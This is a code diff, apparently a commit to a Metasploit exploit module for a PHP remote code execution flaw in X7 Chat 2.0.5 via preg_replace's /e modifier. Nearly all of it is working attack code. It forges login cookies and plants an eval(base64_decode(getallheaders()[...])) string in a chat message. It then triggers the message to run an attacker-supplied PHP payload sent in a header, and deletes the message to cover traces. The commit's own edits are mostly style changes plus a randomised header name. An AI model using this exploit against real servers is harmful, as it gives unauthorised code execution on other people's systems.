@@ -15,8 +15,8 @@ def initialize(info = {})
15
15
super ( update_info ( info ,
16
16
'Name' => 'The X7 Group X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution' ,
17
17
'Description' => %q{
18
- Library lib/message.php for X7 Chat 2.0.5 uses preg_replace() function with the /e modifier.
19
- This allows execute PHP code in the remote machine.
18
+ Library lib/message.php for X7 Chat version 2.0.5 and 2.0.5.1 uses preg_replace() function with the /e modifier.
19
+ This allows execute PHP code in the remote machine.
20
20
} ,
21
21
'License' => MSF_LICENSE ,
22
22
'Author' =>
@@ -25,10 +25,8 @@ def initialize(info = {})
25
25
'Juan Escobar <eng.jescobar[at]gmail.com>' , # module development @itsecurityco
26
26
] ,
27
27
'Platform' => [ 'php' ] ,
28
- 'Arch' => ARCH_PHP ,
29
- 'Targets' => [
30
- [ 'Generic (PHP Payload)' , { } ]
31
- ] ,
28
+ 'Arch' => ARCH_PHP ,
29
+ 'Targets' => [ [ 'Generic (PHP Payload)' , { } ] ] ,
32
30
'DisclosureDate' => 'Oct 27 2014' ,
33
31
'DefaultTarget' => 0 ) )
34
32
@@ -41,7 +39,7 @@ def initialize(info = {})
41
39
end
42
40
43
41
def check
44
- res = exec_php ( " phpinfo(); die();" , true )
42
+ res = exec_php ( ' phpinfo(); die();' , true )
45
43
46
44
if res && res . body =~ /This program makes use of the Zend/
47
45
return Exploit ::CheckCode ::Vulnerable
@@ -52,60 +50,60 @@ def check
52
50
53
51
def exec_php ( php_code , check = false )
54
52
55
- cookie_x7c2u = "X7C2U=" + datastore [ 'USERNAME' ]
56
- cookie_x7c2p = "X7C2P=" + Rex ::Text . md5 ( datastore [ 'USERNAME' ] )
53
+ cookie_x7c2u = "X7C2U=#{ datastore [ 'USERNAME' ] } "
54
+ cookie_x7c2p = "X7C2P=#{ Rex ::Text . md5 ( datastore [ 'USERNAME' ] ) } "
57
55
rand_text = Rex ::Text . rand_text_alpha ( 5 , 8 )
58
56
59
57
# remove comments, line breaks and spaces
60
58
praw = php_code . gsub ( /(\s +)|(#.*)/ , '' )
61
59
62
60
# clean b64 (we can not use quotes or apostrophes and b64 string must not contain equals)
63
61
while Rex ::Text . encode_base64 ( praw ) =~ /==/ || Rex ::Text . encode_base64 ( praw ) =~ /=/
64
- praw = praw + " "
62
+ praw = " #{ praw } "
65
63
end
66
64
67
65
pb64 = Rex ::Text . encode_base64 ( praw )
68
66
69
- print_status ( "Sending offline message (#{ rand_text } ) to #{ datastore [ 'USERNAME' ] } ..." )
67
+ print_status ( "Sending offline message (#{ rand_text } ) to #{ datastore [ 'USERNAME' ] } ..." )
70
68
res = send_request_cgi ( {
71
69
'method' => 'GET' ,
72
70
'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
73
71
'headers' => {
74
- 'Cookie' => "#{ cookie_x7c2u } ; #{ cookie_x7c2p } ;" ,
72
+ 'Cookie' => "#{ cookie_x7c2u } ; #{ cookie_x7c2p } ;" ,
75
73
} ,
76
74
'vars_get' => {
77
75
'act' => 'userpanel' ,
78
76
'cp_page' => 'msgcenter' ,
79
- 'to' => datastore [ 'USERNAME' ] ,
77
+ 'to' => datastore [ 'USERNAME' ] ,
80
78
'subject' => rand_text ,
81
- 'body' => "#{ rand_text } www.${eval(base64_decode(getallheaders()[p ]))}.c#{ rand_text } " ,
79
+ 'body' => "#{ rand_text } www.${eval(base64_decode(getallheaders()[#{ rand_text } ]))}.c#{ rand_text } " ,
82
80
}
83
81
} )
84
82
85
83
if res && res . code == 200
86
- print_good ( "Message (#{ rand_text } ) sent successfully" )
84
+ print_good ( "Message (#{ rand_text } ) sent successfully" )
87
85
else
88
- print_error ( "Sending the message (#{ rand_text } ) has failed" )
89
- return Exploit :: CheckCode :: Unknown
86
+ print_error ( "Sending the message (#{ rand_text } ) has failed" )
87
+ return
90
88
end
91
89
92
- if res && res . body =~ /([0-9]*)">#{ rand_text } /
93
- message_id = $1
90
+ if res && res . body =~ /([0-9]*)">#{ rand_text } /
91
+ message_id = Regexp . last_match [ 1 ]
94
92
else
95
- print_error ( "Could not find message (#{ rand_text } ) in the message list" )
96
- return Exploit :: CheckCode :: Unknown
93
+ print_error ( "Could not find message (#{ rand_text } ) in the message list" )
94
+ return
97
95
end
98
96
99
- print_status ( "Accessing message (#{ rand_text } )" )
100
- print_status ( "Sending payload in HTTP header 'p '" )
97
+ print_status ( "Accessing message (#{ rand_text } )" )
98
+ print_status ( "Sending payload in HTTP header '#{ rand_text } '" )
101
99
res = send_request_cgi ( {
102
- 'method' => 'GET' ,
103
- 'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
104
- 'headers' => {
105
- 'Cookie' => "#{ cookie_x7c2u } ; #{ cookie_x7c2p } ;" ,
106
- 'p' => " #{ pb64 } " ,
100
+ 'method' => 'GET' ,
101
+ 'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
102
+ 'headers' => {
103
+ 'Cookie' => "#{ cookie_x7c2u } ; #{ cookie_x7c2p } ;" ,
104
+ rand_text => pb64 ,
107
105
} ,
108
- 'vars_get' => {
106
+ 'vars_get' => {
109
107
'act' => 'userpanel' ,
110
108
'cp_page' => 'msgcenter' ,
111
109
'read' => message_id ,
@@ -114,12 +112,12 @@ def exec_php(php_code, check = false)
114
112
115
113
res_payload = res
116
114
117
- print_status ( "Deleting message (#{ rand_text } )" )
115
+ print_status ( "Deleting message (#{ rand_text } )" )
118
116
res = send_request_cgi ( {
119
117
'method' => 'GET' ,
120
118
'uri' => normalize_uri ( target_uri . path , 'index.php' ) ,
121
119
'headers' => {
122
- 'Cookie' => "#{ cookie_x7c2u } ; #{ cookie_x7c2p } ;" ,
120
+ 'Cookie' => "#{ cookie_x7c2u } ; #{ cookie_x7c2p } ;" ,
123
121
} ,
124
122
'vars_get' => {
125
123
'act' => 'userpanel' ,
@@ -129,9 +127,9 @@ def exec_php(php_code, check = false)
129
127
} )
130
128
131
129
if res && res . body =~ /The message has been deleted/
132
- print_good ( "Message (#{ rand_text } ) removed" )
130
+ print_good ( "Message (#{ rand_text } ) removed" )
133
131
else
134
- print_error ( "Removing message (#{ rand_text } ) has failed" )
132
+ print_error ( "Removing message (#{ rand_text } ) has failed" )
135
133
end
136
134
137
135
# if check return the response
0 commit comments